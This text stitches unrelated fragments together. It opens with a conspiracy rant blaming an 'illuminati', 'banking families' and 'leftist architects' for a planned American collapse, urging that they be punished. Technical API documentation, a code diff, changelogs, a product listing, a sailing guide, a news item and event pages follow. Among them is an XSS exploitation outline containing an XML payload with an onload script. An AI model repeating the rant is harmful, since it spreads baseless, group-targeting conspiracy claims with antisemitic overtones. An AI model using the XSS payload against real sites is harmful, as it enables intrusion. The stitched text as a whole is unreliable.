So let them know: they can’t hide the truth forever. Make the powerful fear you, their meek and humble servants. And let humanity work as diligently and as intelligently and as swiftly as possible. We need the combined energy of everyone. We cannot waste what each and every one of us can contribute.
And so how do you stop this? By caching this information and by making it as permanent as possible, even if you have to print it out, laminate it and bury on the Appalachain Trail. No plans like these could ever succeed ad infinitum without all of the leftist architects fearing that their meticulous constructions will fall on top of them all. When they realise that the people around the world know what actually happened and could not ever forget, they will serve you well. Furthermore, we may find that we cannot destroy information relevant to the preservation of a false narrative, which is why so many long-held truths of history may find themselves overturned. Science may be able to prove otherwise, even though we don’t know at the time that information relevent to overturning those narratives will be proveable.
This is why people who fear God usually try their hardest to do the right thing: they believe God is watching everything they do and knows everything they think. So there’s nothing they could get away with if they tried. Instead, their behavior is constrained to what is permitted by their belief systems and they do not need to understand how they will be judged, but simply that they will be judged. Still, the truth is not always so simple: in order to understand what you believe you have to spend your entire life learning about your belief system and learning about life.  And I Hope You Activate the Potential For Every Person To Be As Great As Any Of Us Could Ever Be
Instead, almost everyone just wants to shoot the messenger. The one with the message you need to hear. What you need to hear is NOT what you want to hear! Deal with it because this is real. It’s not going away: it hasn’t come to pass yet, but it will. When it happens, you will be thanking your stars that someone like me ever existed.
These shadowy powers that be are the people that have moderately controlled the evolution of language. They have have architected history: the pattern of myths that establish the base paradigms of our collective narratives for explaining who we are and how we got to where we are. Regardless of where we live, we all have a collective story for how we got there and this narrative motivates our actions. Stories in history are like patterns for sewing clothes: each one provides a convenient basis by which we compare not only heroes, pariahs and demagogues, but ourselves and each other.
The truth is, the individual that I am has revealed almost nothing that was always preordained to be revealed at the end.
What does the illuminati do to people they detest? They freeze them in carbonite, so to speak. If you actually manage to make waves, you become frozen into history after death, completely unable to control the evolution of your narrative, which is partly what men fear so much that contributes to the appeal of heaven. Regardless of whether it’s real, heaven is an idea of the place you spend for eternity, if you only believed in the vision of Jesus Christ. It the idea itself at least has power. Men fear how their stories will play out after their lives, since they’d have no power against their enemies to sew them into narratives and dominate the tellings of their stories.
 Those who ascend to heaven are instead preserved, but collectively coupled to the image of Jesus Christ forever. This is a magnificent fate, compared to the obliviation of Hell.
Hell is not always a literal obliviation.  Instead you are the fool or the pawn who is to be hated and detested for eternity, whose story is to be propagated by the occult as long as possible. See why I might be a little pissed off? Who stands to defend themselves most, after death? Those with the social and financial resources to set in motion plans which carry themselves out.
⌈𐆖⌉ So Where Do We Go From Here? How Is It That We Come Together?
Obviously, the potential for damage to have been done is incalculable. However, we are positioned to root out people who are using government as a tool for their own self interests as well as those who would see America burn in economic ruin if BANC ever came to be. Best of all, against all odds and despite our starkly contrasting current reality, the American people are more ready than ever to come together. It might not seem this way now. However, given the right course of events and given that enough people in our country choose self-preservation and patriotism over petty ideological arguments – we are truly closer than ever in being united at the most critical time in history. The right set of actions must come to pass, serving as a keystone to unite the American people, so that we can focus our energy outwards, instead of succumbing to domestic tensions. We must do this or we fail. Another lesson we must learn: never give up.
There are rumors of false flag attacks or economic collapse triggering martial law. Neither of those are likely to occur at the moment. The event you should be worried about is not something to fear, but a period through which to proceed with caution. It is a great awakening, where people acknowledge what is happening, some people are targeted as having attempted architecting the economic demise of America, and there is some tension that plays out as a result of the division we’ve seen in the last 10 or so years. Fortunately, when people actually wake up to what’s happened, it will be a catalyst to America’s benefit because it must be – otherwise failure and csacading collapse is assured.
For the far-leftist opposition, their leadership will collapse: the less visible leadership of “architects” who has indirectly been acting behind the scenes will no longer stand behind a movement which is not “in vogue” … Instead they will seek to get out of the way as fast as possible like the rats they are. Again, for the leftists behind the scenes designing the implementation of this “community” action – i.e. all the passive aggressive toxicty of our cities and all the indirect targeting of citizens – that less-visible half of their leadership will disappear because they don’t want to be left holding the bag. These are the people that are going to be hard to find, but these are the ones who need to be punished.
The more public half will be left holding the bag. These are the elected representatives and more visible, public community leaders who were lead by their intent to improve their lives, but deceived into harming America. While this segment of leadership may be more visible, it’s more important to convert them and win their support, while testing the authenticity of their change in action. Once the average person realizes what has happened, even if they are moderate leftists, they will come running as this catalyst for awakening rips through their movement. The radicals will simply be running scared and will not seek attention.
When people in the public all realize what just ALMOST happened, then you can guarantee that they will support the side who serves their best interests. And that is the American side, not Republican or Democrat or Conservative or Liberal. When the public at large realizes that the archtected economic collapse certainly meant that the bottom would fall out, the poor would have had it worse than ever AND they had been strung along by deceitful radicals the whole time: you can count on their support. Simply relate to them that no economy means no benefits, no welfare, no medical care, no coverage and that these architects wanted that, but that the people who intended that were not the public leaders they looked up to.
Then, a small portion of their leftist movement will be left to be cannibalized by itself, so the new right-center can be sure none of these most radical architects want to stick their necks out for a while. Again, it’s a period of time where caution must be exercised and it will certainly be a little chaotic.
⌈𐆖⌉ How Does Post-Revolutionary France Relate To 21st Century America?
How do I know this? Once the TRUTH is in place, then the architects’ precious anti-bourgeoisie narrative is destroyed AND CAN NEVER BE RECOVERED.
Just like how the stage was set before Napolean fired those fateful blasts of grapeshot, the American people are sick of seeing these Robespierrian witchhunts. In the French Revolution, you first had the Jacobins, who plotted to overthrow the monarch. Then, Robespierre went nuts with the guillotine. Finally Napolean steps in and only a handful of people tried to stop him. Why? In post-revolutionary France, people were sick of the revolutionaries’ abuses of power, but they hated the monarchs more and never wanted them to regain power either. Napolean, basically a complete nobody at that point, enters stage left and becomes the hero, giving the people the compromise between the nouveau pouvoir de l’inexpérimenté, who only understood rule through fear, and the ancien pouvoir, who methodically suppressed the poor for so long.
Napoleon’s Crowning Star of Paris
Subsequently, Napoleon then gets drunk on his own success and embarks on a roadtrip to Russia, establishing the seeds of the French-Russian socialism connection that would begin to morph into Marxism some half a century later. This is perhaps his greatest mistake because in his conquest of Europe, Napoleon essentially scatters a diaspora of French cultural seeds, which all act as a basis for a high degree of sociophysical connection for the next century.
Please note, I’m no historian of the French Revolution. Still, the wonder of history is that it’s value lies not in what it is, but in the myriad of ways people in the future may choose to look back on it. To me, history is never meant to be interpreted in one, definitive way, since every culture, group or historian will have their own take on events. In this way, the true value of history is in all the ways we can imagine that decisions were made and how those actors imagined that people might look back on them. Of course, without a rational basis, history quickly becomes meaningless. Still, the most important decisions in history are those which elude understanding.
When Napoleon first gained power, what was Napolean armed with? Knowledge of the truth that seems to have completely eluded the Jacobins: the struggle of the poor was moreso linked to economic circumstances, perhaps neglected by the crown. Nothing the Jacobins were doing would have fixed this because they were focused inward and determined to ruthlessly quell the chaos, wasting most of the energy they directed through their own power structures. What they needed was outward economic empire. The military was the best way to deliver this in the early 19th century, which is what Napolean delivered with outright empire.
Military expansion today won’t do America much good today. It’s too expensive, today AND tomorrow. Instead we need to focus on building an economic powerhouse to compete abroad, constructing an empire of economic expansion via the establishment of platforms for renewables and data science, the gold of the 21st century. We can’t slack off on military concerns, but we do need deterrence and we might just have to fight for our rights and prospertiy.
Are We Out Of The Woods Yet?
⌈𐆖⌉ Once Their Retro-Narrative Is Obliterated, Welcome Their Supporters With Open Arms
We all know it’s bad. We’re ready for something different. Now that their retro-narrative is destroyed – the one justifying future cultural revolution – and they thus have no incentive to act: they would simply bring everything falling on top of them after gaining power because they will know that the public will find out and there’s nothing they can do about it It sounds crazy, but any of them that act at this point, they will surely will be seen as traitors.
So instead they will come fleeing to our side. I swear to God that’s what will happen. I think you’ve heard “Be ready for them, with open arms.” We only need to find the ones who were without a doubt aligned against american interests. We do not seek to punish or villify those who only wanted to support the poor and struggling, but those who would sacrifice the economy for a deceptive gambit to gain power.
“We should consider every day lost on which we have not danced at least once. And we should call every truth false which was not accompanied by at least one laugh.” - Nietzsche
So make the right information contagious: the information that guarentees that humanity will work together. More than anything, these überelite illuminati fear the contagion of information that disrupts their meticulous calculations, whose moral consequentialist ends are maintained as vague at best and unknown to nearly all. That is by design.
This is why anyone who stands against them will be tested, then
humiliated publicly, but only if they manage to make it far enough to
be a thorn in some banking family’s side.
But please, keep in mind, not all banking family’s are the same. No, one profits at the demise of others. There is vicious competition among the illuminati elite.
AND, NO, “BANKING FAMILY” IS NOT A CODE PHRASE FOR JEWS, TATIANA.


public interface OperatorExec
BatchAccesor
provided via batchAccessor()
. For
compatibility with other Drill operators, the set of vectors within
the batch must be the same from one batch to the next.| Modifier and Type | Method and Description |
|---|---|
BatchAccessor |
batchAccessor()
Provides a generic access mechanism to the batch's output data.
|
void |
bind(OperatorContext context)
Bind this operator to the context.
|
boolean |
buildSchema()
Retrieves the schema of the batch before the first actual batch
of data.
|
void |
cancel()
Alerts the operator that the query was cancelled.
|
void |
close()
Close the operator by releasing all resources that the operator
held.
|
boolean |
next()
Retrieves the next batch of data.
|
void bind(OperatorContext context)
context
- operator contextBatchAccessor batchAccessor()
buildSchema()
and next()
. The batch itself
can be held in a standard VectorContainer
, or in some
other structure more convenient for this operator.boolean buildSchema()
batchAccessor()
.boolean next()
batchAccessor()
method.void cancel()
void close()
cancel()
and after batchAccessor()
or next()
returns false.
Note that there may be a significant delay between the last call to next() and the call to close() during which downstream operators do their work. A tidy operator will release resources immediately after EOF to avoid holding onto memory or other resources that could be used by downstream operators.
Copyright © 2021 The Apache Software Foundation. All rights reserved.


Package big_query_read (2.4.0)
API documentation for bigquery_storage_v1.services.big_query_read
package.
Classes
BigQueryReadAsyncClient
BigQuery Read API. The Read API can be used to read data from BigQuery.
BigQueryReadClient
BigQuery Read API. The Read API can be used to read data from BigQuery.


Select an image, and the server will return a COCO JSON representation of all detections in the image


DataStoreManagerDataSource
@objc
public protocol DataStoreManagerDataSource : AnyObject
The methods adopted by the object you use to manage data for a data store manager.
-
Type to mean instance of LAContext.
Declaration
Swift
typealias LocalAuthenticationContext = LAContext
-
Type to mean instance of LAContext.
-
Asks the data source for the default storage type for the data store manager.
Declaration
Swift
@objc optional func defaultStorageType(for manager: DataStoreManager) -> DataStoreStorageType
Parameters
manager
An object representing the data store manager requesting this information.
Return Value
The default storage type of the data store manager.
-
Asks the data source for the current schema version for the storage type of data store manager.
Declaration
Swift
@objc optional func dataStoreManager(_ manager: DataStoreManager, currentSchemaVersionForType type: DataStoreStorageType) -> Int
Parameters
manager
An object representing the data store manager requesting this information.
type
A storage type constant.
Return Value
The current schema version number for the storage type of the data store manager.
-
Asks the data source for the suite name for
UserDefaults
of the data store manager.Declaration
Swift
@objc optional func userDefaultsSuiteName(for manager: DataStoreManager) -> String
Parameters
manager
An object representing the data store manager requesting this information.
Return Value
The
UserDefaults
suite name for the data store manager.
-
Asks the data source for the maximum total cost that the cache can hold before it starts evicting objects.
If
0
, there is no total cost limit. The default value is0
.When you add an object to the cache, you may pass in a specified cost for the object, such as the size in bytes of the object. If adding this object to the cache causes the cache’s total cost to rise above
totalCostLimit
, the cache may automatically evict objects until its total cost falls belowtotalCostLimit
. The order in which the cache evicts objects is not guaranteed.This is not a strict limit, and if the cache goes over the limit, an object in the cache could be evicted instantly, at a later point in time, or possibly never, all depending on the implementation details of the cache.
Declaration
Swift
@objc optional func cacheTotalCostLimit(for manager: DataStoreManager) -> Int
Parameters
manager
An object representing the data store manager requesting this information.
Return Value
The number of total cost limit.
-
Asks the data source for the maximum number of objects the cache should hold.
If
0
, there is no count limit. The default value is0
.This is not a strict limit—if the cache goes over the limit, an object in the cache could be evicted instantly, later, or possibly never, depending on the implementation details of the cache.
Declaration
Swift
@objc optional func cacheCountLimit(for manager: DataStoreManager) -> Int
Parameters
manager
An object representing the data store manager requesting this information.
Return Value
The number of count limit.
-
Returns a description of an entity in Core Data.
Declaration
Swift
@objc optional func coreDataEntityDescription(for manager: DataStoreManager) -> NSEntityDescription
Parameters
manager
An object representing the data store manager requesting this information.
Return Value
A description of an entity in Core Data.
-
Returns An object space that you use to manipulate and track changes to managed objects.
Declaration
Swift
@objc optional func coreDataManagedObjectContext(for manager: DataStoreManager) -> NSManagedObjectContext
Parameters
manager
An object representing the data store manager requesting this information.
Return Value
An object space that you use to manipulate and track changes to managed objects.
-
Asks the data source for the generic keychain service of the data store manager.
Declaration
Swift
@objc optional func genericKeychainService(for manager: DataStoreManager) -> String
Parameters
manager
An object representing the data store manager requesting this information.
Return Value
The corresponding value is a string that represents the service associated with this item.
-
Asks the data source for the generic keychain access group of the data store manager.
For an app to access a keychain item, one of the groups to which the app belongs must be the item’s group. The list of an app’s access groups consists of the following string identifiers, in this order:
- The strings in the app’s Keychain Access Groups Entitlement
- The app ID string
- The strings in the App Groups Entitlement
Two or more apps that are in the same access group can share keychain items. For more details, see Sharing Access to Keychain Items Among a Collection of Apps.
If you don’t explicitly set a group, keychain services defaults to the app’s first access group, which is either the first keychain access group, or the app ID when the app has no keychain groups. In the latter case, the item is only accessible to the app creating the item, since no other app can be in that group.
Declaration
Swift
@objc optional func genericKeychainAccessGroup(for manager: DataStoreManager) -> String
Parameters
manager
An object representing the data store manager requesting this information.
Return Value
The corresponding value is a string that indicates the item’s one and only access group.
-
Returns a value that identifies the location of a resource, such as an item on a remote server or the path to a local file.
Declaration
Swift
@objc optional func internetKeychainServer(for manager: DataStoreManager) -> URL
Parameters
manager
An object representing the data store manager requesting this information.
Return Value
A value that identifies the location of a resource, such as an item on a remote server or the path to a local file.
-
Returns a value that provide information regarding protocol type of data store manager.
Declaration
Swift
@objc optional func internetKeychainProtocolType(for manager: DataStoreManager) -> DataStoreProtocolType
Parameters
manager
An object representing the data store manager requesting this information.
Return Value
A value that provide information regarding protocol type of data store manager.
-
Returns a value that provide information regarding authentication type of data store manager.
Declaration
Swift
@objc optional func internetKeychainAuthenticationType(for manager: DataStoreManager) -> DataStoreAuthenticationType
Parameters
manager
An object representing the data store manager requesting this information.
Return Value
A value that provide information regarding authentication type of data store manager.
-
Asks the data source to verify that the keychain of the data store manager is synchronized through iCloud.
Declaration
Swift
@objc optional func keychainIsSynchronizable(for manager: DataStoreManager) -> Bool
Parameters
manager
An object representing the data store manager requesting this information.
Return Value
true
if the item is synchronized through iCloud; otherwisefalse
. -
Asks the data source for the keychain operation prompt of the data store manager.
Declaration
Swift
@available(iOS 8.0, OSX 10.10, *) @available(watchOS, unavailable) @available(tvOS, unavailable) @objc optional func keychainOperationPrompt(for manager: DataStoreManager) -> String
Parameters
manager
An object representing the data store manager requesting this information.
Return Value
The corresponding value is a string describing the operation for which the app is attempting to authenticate. When performing user authentication, the system includes the string in the user prompt. The app is responsible for text localization.
-
Asks the data source for the keychain local authentication context to use of the data store manager.
It is according to the following rules:
- If this key is not specified, and if the item requires authentication, a new context will be created, used once, and discarded.
- If this key is specified with a context that has been previously authenticated, the operation will succeed without asking user for authentication.
If this key is specified with a context that has not been previously authenticated, the system attempts authentication on the context. If successful, the context may be reused in subsequent keychain operations.
Important
Include the NSFaceIDUsageDescription key in your app’s Info.plist file if your app allows biometric authentication. Otherwise, authorization requests may fail.
Declaration
Swift
@available(iOS 8.0, OSX 10.10, *) @available(watchOS, unavailable) @available(tvOS, unavailable) @objc optional func keychainLocalAuthenticationContext(for manager: DataStoreManager) -> LocalAuthenticationContext
Parameters
manager
An object representing the data store manager requesting this information.
Return Value
The corresponding value is of type LAContext, and represents a reusable local authentication context that should be used for keychain item authentication.
-
Asks the data source for the containerIdentifier for
CloudKit
of the data store manager.Declaration
Swift
@objc optional func cloudKitContainerIdentifier(for manager: DataStoreManager) -> String
Parameters
manager
An object representing the data store manager requesting this information.
Return Value
The
CloudKit
containerIdentifier for the data store manager. -
Asks the data source for the cloud kit container record type of the data store manager.
Use this string to differentiate between different record types in your app. The string is primarily for your benefit, so choose type names that reflect the data in the corresponding records.
Declaration
Swift
@objc optional func cloudKitContainerRecordType(for manager: DataStoreManager) -> String
Parameters
manager
An object representing the data store manager requesting this information.
Return Value
The app-defined string that identifies the type of the record.
-
Returns a definition of logical conditions used to constrain a search either for a fetch or for in-memory filtering.
Declaration
Swift
@objc optional func cloudKitContainerPredicate(for manager: DataStoreManager) -> NSPredicate
Parameters
manager
An object representing the data store manager requesting this information.
Return Value
A definition of logical conditions used to constrain a search either for a fetch or for in-memory filtering.
-
Returns an object that uniquely identifies a record zone in a database.
Declaration
Swift
@available(watchOSApplicationExtension 3.0, *) @objc optional func cloudKitContainerZoneID(for manager: DataStoreManager) -> CKRecordZone.ID
Parameters
manager
An object representing the data store manager requesting this information.
Return Value
An object that uniquely identifies a record zone in a database.
-
Asks the data source to verify that the cloud kit container of data source manager allows duplicate key.
If you do not implement this method, the data store manager configures does not allow duplicate key.
Declaration
Swift
@objc optional func cloudKitContainerAllowsDuplicateKey(for manager: DataStoreManager) -> Bool
Parameters
manager
An object representing the data store manager requesting this information.
Return Value
true
if the key allowed to be duplicated; otherwisefalse
.


Before Change
(num_images, height, width, num_channels),
dtype=np.uint8
)
for i in range(len(dataset_df)):
filepath = get_abs_path(
csv_path,
dataset_df[feature["name"]][i]
)
img = ImageBaseFeature._read_image_and_resize(
filepath,
After Change
resize_method=preprocessing_parameters["resize_method"],
user_specified_num_channels=user_specified_num_channels
)
all_file_paths = [get_abs_path(csv_path, file_path)
for file_path in dataset_df[feature["name"]]]
if feature["preprocessing"]["in_memory"]:
data[feature["name"]] = np.empty(


Table of Contents
Introduction
Files and Folders
Editors
Preferences
Custom Commands
Keyboard Bindings


Born as an alternative to having to google "jquery google CDN" every time I wanted to start a prototype, a desire to start an angular side project and not knowing about cdnjs.com, I created CDNatives.
The project allows people to quickly get the url to a CDN hosted version of the library they need. Through a very simple set of controls, the user can toggle between development and production ready versions, and whether they would like to include 'script' tags. After clicking the corresponding button, all the user has to do is press cmd + c (ctrl + c in windows) to add the CDNs url to their clipboard.
The application uses a simple JSON file to get all of its data if a user ever wants to add another url or library all they have to do is submit a pull request.


Cheshire3 Object Model: Class DocumentStore |
object --+ | configParser.C3Object --+ | ObjectStore --+ | DocumentStore
| create_document(self, session, doc=None) | |
| delete_document(self, session, id) | |
| fetch_document(self, session, id) | |
| fetch_documentList(self, session, req) | |
| store_document(self, session, doc) | |
|
Inherited from Inherited from Inherited from Inherited from |
|
Inherited from Inherited from Inherited from |
|
|
|
|
|
| Generated by Epydoc 3.0alpha2 on Wed Aug 9 18:09:57 2006 | http://epydoc.sf.net |


Escalating an Attack to Other Application Pages (using iframe)
Modifying the Request Method
Exploiting XSS Via Cookies
- Try to create GET parameter instead cookie
- Setting cookie via web functionality
- Setting cookie via another XSS
Exploiting XSS in the Referer Header
Exploiting XSS in Nonstandard Request and Response Content
- Sending XML Requests Cross-Domain
- Executing JavaScript from Within XML Responses
- Define a new namespace that is mapped to XHTML
- HTTP/1.1 200 Ok
- Content-Type: text/xml
- Content-Length: 1098
- <xml>
- <data>
- ...
- <a xmlns:a='http://www.w3.org/1999/xhtml'>
- <a:body onload='alert(1)'/></a>
- ...
- </data>
- </xml>


- CoinPayments button won't react more than once when spammed.
- Delete warning modal for DEX Articles.
- Using CSS em for everything, setting font-size to anything makes it look correct.
- Did a full test, chain creation and deletion works without any flaw. Definitely needs more testing though
- Fixed some img sizes.
- Safari: Fixed Generator Top Bar was breaking after making the window big and then small again.
- Safari: Fixed @media max-width values were not matching with Javascript window width, breaking the layout.
- Safari: Fixed ( - 2 + ) node count button was broken.
- Using - and + characters instead of collapse and expand imgs for node count incremental input.
- Fixed price was too small in order page for extra small screens.
- Added page loading icon to Chain Details page.
- Email field in Password Reset page is being filled automatically.
- Added Recovery code for 2FA.
- Fixed 'Require Fresh Auth' was not working properly if 2FA was enabled.


We examine users!
- grow seamless infrastructures
- reintermediate impactful mindshare
- aggregate visionary mindshare
- scale efficient deliverables
- transition B2B communities
- reintermediate scalable paradigms
- redefine real-time channels
- brand vertical niches


Hello,
Welcome to my website/first project/portifolio, all in one.
I worked in a big IT company for 8 years but I felt it was time for a change.
In this page I'll show what I've been studying on the last couple of months,
along with a glimpse of my personal life.


NEW
7200 DPI Programmable Breathing Light Ergonomic Game USB Computer Mice RGB Gamer Desktop Laptop PC Gaming Mouse, 7-Button Design, for Windows 7/8/10/XP Vista Linux - Black
Color: Black
USD $99.99
Available: In Stock
Condition: New
Brand: XYZ Company
VicTsing Mouse is very important to a professional Gamer.
Easily Accessible DPI Adjustment
Default DPI: 1200/2400/3500/5500/7200 DPI.
Soothing LED Light
The LED light can be changed from 16 million colors to suit your games, style and different environment.
Specification:
DPI: changed from500-7200DPI via software; Default DPI: 1200/2400/3500/5500/7200DPI
Programming: support
Polling Rate: 125/250/500/1000HZ
Note:
No Programming Function under Mac System
Package Included:
1* Wired Gaming Mouse
1* User Manual
1* Warranty
| Brand | XYZ |
| Series | 123 |
| Item Model Number | USAE3-VTGEPC034AB |
| Hardware Platform | Mac, PC |
| Item Weight | 5.3 ounces |
| Product Dimensions | 5.2 x 3.5 x 1.6 inches |
| Product Color | Balck |


Located on the north western side of Banderas Bay, about 25nm north west of Puerto Vallarta, Punta de Mita is a quiet, comfortable place to stop. Cruisers report that while missing some of the amenities and the convenience of a marina, it is a much more comfortable anchorage than La Cruz as the daily thermal induced winds blow offshore and thus the wind waves are not as great.
This is basically an anchorage as the breakwaters (built of boulders), enclose a small harbour which is full of local boats. It does provide a sheltered beach on which to land a dinghy. There are two more breakwaters to the west of the harbour which also shelter the beach from the swell.
This is a surf spot so incoming swell can be uncomfortable when there is no wind at night. Some boats do put out stern anchors, so check for that when setting your own hook.
New Port added February 2013.


| java.lang.Object | |||
| ↳ | android.view.View | ||
| ↳ | android.widget.ImageView | ||
| ↳ | greendroid.widget.AsyncImageView |
A AsyncImageView
is a network-aware ImageView. It may display images
from the web according to a URL. AsyncImageView
takes care of loading
asynchronously images on the Internet. It also caches images in an
application-wide cache to prevent loading images several times.
Clients may listen the AsyncImageView.OnImageViewLoadListener
to be notified of the
current image loading state.
AsyncImageView
may be extremely useful in ListView's row. To prevent
your AsyncImageView
from downloading while scrolling or flinging it
is a good idea to pause it using setPaused(boolean)
method. Once the
scrolling/flinging is over, un-pause your AsyncImageView
s
using setPaused(false)
| Nested Classes | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|
| AsyncImageView.OnImageViewLoadListener | Clients may listen to AsyncImageView changes using a
AsyncImageView.OnImageViewLoadListener . |
|
[Expand]
Inherited Constants | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|
|
From class
android.view.View
|
| Public Constructors | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|
| Public Methods | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|
Return true if the displayed image has been correctly loaded.
| |||||||||||
Return true if this AsyncImageView is currently loading an image.
| |||||||||||
Callback to be invoked when the request processing has been
cancelled.
| |||||||||||
Callback to be invoked when the request processing ended.
| |||||||||||
Callback to be invoked when the request processing failed.
| |||||||||||
Callback to be invoked when the request processing started.
| |||||||||||
Reload the image pointed by the given URL
| |||||||||||
Reload the image pointed by the given URL.
| |||||||||||
Set the default bitmap as the content of this AsyncImageView
| |||||||||||
Set the default drawable as the content of this AsyncImageView
| |||||||||||
Set the default resource as the content of this AsyncImageView
| |||||||||||
Set an image processor to this AsyncImageView.
| |||||||||||
Helper to
setOptions(Options) that simply sets the inDensity for
loaded image. | |||||||||||
Register a callback to be invoked when an event occured for this
AsyncImageView.
| |||||||||||
Assign an Options object to this
AsyncImageView . | |||||||||||
Pause this AsyncImageView preventing it from downloading the image.
| |||||||||||
Set the url of the image that will be used as the content of this
AsyncImageView.
| |||||||||||
Force the loading to be stopped.
|
|
[Expand]
Inherited Methods | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|
|
From class
android.widget.ImageView
| |||||||||||
|
From class
android.view.View
| |||||||||||
|
From class
java.lang.Object
| |||||||||||
|
From interface
android.graphics.drawable.Drawable.Callback
| |||||||||||
|
From interface
android.view.KeyEvent.Callback
| |||||||||||
|
From interface
android.view.accessibility.AccessibilityEventSource
| |||||||||||
|
From interface
greendroid.image.ImageRequest.ImageRequestCallback
|
Return true if the displayed image has been correctly loaded.
Return true if this AsyncImageView is currently loading an image.
Callback to be invoked when the request processing has been cancelled.
| request | ImageRequest that has been cancelled |
|---|
Callback to be invoked when the request processing ended.
| request | ImageRequest that ended |
|---|---|
| image | The resulting Bitmap |
Callback to be invoked when the request processing failed.
| request | ImageRequest that failed |
|---|---|
| throwable | The Throwable that occurs |
Callback to be invoked when the request processing started.
| request | The ImageRequest that started |
|---|
Reload the image pointed by the given URL
Reload the image pointed by the given URL. You may want to force reloading by setting the force parameter to true.
| force | if true the AsyncImageView won't look into the application-wide cache. |
|---|
Set the default bitmap as the content of this AsyncImageView
| bitmap | The bitmap to set |
|---|
Set the default drawable as the content of this AsyncImageView
| drawable | The drawable to set |
|---|
Set the default resource as the content of this AsyncImageView
| resId | The resource identifier to set |
|---|
Set an image processor to this AsyncImageView. An ImageProcessor may be used in order to work on the retrieved Bitmap prior displaying it on screen.
| imageProcessor | The ImageProcessor to set |
|---|
Helper to setOptions(Options)
that simply sets the inDensity for
loaded image.
Register a callback to be invoked when an event occured for this AsyncImageView.
| listener | The listener that will be notified |
|---|
Assign an Options object to this AsyncImageView
. Those options
are used internally by the AsyncImageView
when decoding the
image. This may be used to prevent the default behavior that loads all
images as mdpi density.
Pause this AsyncImageView preventing it from downloading the image. The download process will start back once setPaused(false) is called.
Set the url of the image that will be used as the content of this
AsyncImageView. The given may be null in order to display the default
image. Please note the url may be a local url. For instance, you can
asynchronously load images from the disk memory is the url scheme is
file://
| url | The url of the image to set. Pass null to force the AsyncImageView to display the default image |
|---|
Force the loading to be stopped.


Half a million pounds of pork products recalled after anonymous tip
by CNN(CNN) — A company is recalling more than half a million pounds of pork products because they were not inspected, officials said.
The 515,000 pounds of raw pork items were produced and distributed in Illinois, the US Department of Agriculture’s Food Safety and Inspection Service said Thursday. They were produced between November 25, 2017 to November 9, this year.
They include pork loin, pork back ribs and pork chops, and were shipped to Illinois retail locations. The complete list of affected items can be found here.
“The products subject to recall bear establishment number ‘EST. 18267’ inside the USDA mark of inspection. These items were shipped to distributors and retail locations in Illinois,” the US Department of Agriculture’s Food Safety and Inspection Service said.
Federal officials said they received an anonymous tip that the company was producing products without inspection, outside inspection hours, leading to the recall.
Morris Meat Packing, a Maywood, Illinois, company, recalled the pork products.
The-CNN-Wire™ & © 2019 Cable News Network, Inc., a Time Warner Company. All rights reserved.


INKPOOL
About
About INKPOOL
Inkpool is a writing competition organised by Blogscord incorporation and powered by Schaffen Softwares Pvt. Ltd. The event takes place from 21st to 26th September, widely in 3 rounds and will be supervised by Blogscord's and Schaffen softwares' dedicated team. With inkpool our aim is to bring out the writer every person hides in themself and polish the skills of budding writers by offering them to an online platform. To unbox the inherent writer in them so that they could make a difference.
Where?
The whole event will be held online on Blogscord
When?
21st-26th September, 2020
Timeline
Timeline
Frequently Asked Questions
FAQs
The event cost is a minimal of Rs.30! We'll also provide you with enough swags, goodies and discount coupons for various platform
You're required to register with the link given and then make a blogscord account, using wix. In this way you'll be able to publish your writings for the competition on our website. The exact details will be conveyed post registration
The whole event will be conducted online on Blogscord itself.
If you love to write, you're more than welcome to participate in the competition
There are exciting prizes for top 3 winners of the competition and those of fun activities, discount coupons for popular restaurants, and vouchers and subscriptions for various vouchers including souled store and expertrons
Contact
Contact
Contact
Call Siddhartha: +91<PHONE_NUMBER>
Call Satakhshi: +91<PHONE_NUMBER>
Email: info@schaffensofts.com


Your wallet
address:
balance:
Update
Tokens amount:
Deposit in tokens:
Currency amount:
Currency code:
Bank details:
Other details:
Post a new offer
Update table every
seconds


{{ partial "header.html" . }}
Manager Information Technology at Arizona State University,
Consultant at Pathfinder Center, Biodesign institute.
I know how to use a paper shredder.
Complete products that fulfill the purpose they were made for. Their robustness is a different question.


Proxy Encoder
1. Install S‑VIDIA Proxy Server on virtually any modern Intel Based PC.
2. Setup h.264 or MJPEG camera within Proxy Server.
3. Connect to proxy server IP address via S‑VIDIA Client or Mobile Client.
1. Follow above steps 1 and 2.
2. Connect to proxy server IP address via S‑VIDIA Server software.
Or Contact us at 1-844-S-VIDIAS for Cloud recording options.
One channel version is free of charge.
Multichannel Proxy version is coming soon.
Linux Version available by request.
Manual is being written and will be published shortly.
"The future of this compression method lies in the hands of those who demand quality, depend on accuracy and clarity of evidence, and will benefit from our endless growing catalogue of security possibilities."
Copyright © 2017 SVIDIA LLC


---
title: JavaScript Utilities
---
***
Using the JavaScript Utilities
There are two ways to use the Foundation utilities: by calling them within the Foundation.utils namespace and by inheriting them into an object.
Foundation.utils
As long as foundation.js has been loaded into the page, you can access any of the Foundation utilities by calling Foundation.utils.{function_name}
.
For example, if you type the following into the JavaScript console it will return a 6-digit alphanumeric string.
{{#markdown}}
```javascript
// Generates a random string of length n
Foundation.utils.random_str(6);
```
{{/markdown}}
Method Inheritance
If you have any plain ole’ JavaScript object (a POJO), then you can inherit any of the Foundation JavaScript utilities by calling the Foundation.inherit
method. To use the inherit method, pass in the object you want to inherit the methods, followed by a space separated string of methods that you want to inherit.
{{#markdown}}
```javascript
// Simple example
var user = {};
Foundation.inherit(user, 'random_str data_options');
// Advanced Example
Person = function() {
this.init = function() {
Foundation.inherit(this, 'random_str data_options');
}
};
var user = new Person();
user.init();
```
{{/markdown}}
***
Selector Engine
While jQuery’s selector engine is quite versatile, it can sometimes be a bit slow. Foundation’s “Big S” selector leverages the native browser API by using querySelectorAll()
, making it up to 20% faster.
“Big S” can be used as a drop-in replacement for the jQuery $ selector in most cases.
jQuery Selector
{{#markdown}}
```javascript
// A simple selector
$('.class #id');
// A bracket selector
$('label[for="input1"]');
// A scoped selector
$('dd > .content', '#accordion');
```
{{/markdown}}
“Big S” Selector
{{#markdown}}
```javascript
// A simple selector
Foundation.utils.S('.class #id');
// A bracket selector
Foundation.utils.S('label[for="input1"]');
// A scoped selector
Foundation.utils.S('dd > .content', '#accordion');
```
{{/markdown}}
Method Signature
{{#markdown}}
```javascript
// Arguments:
// Selector (String): CSS selector describing the element(s) to be
// returned as a jQuery object.
//
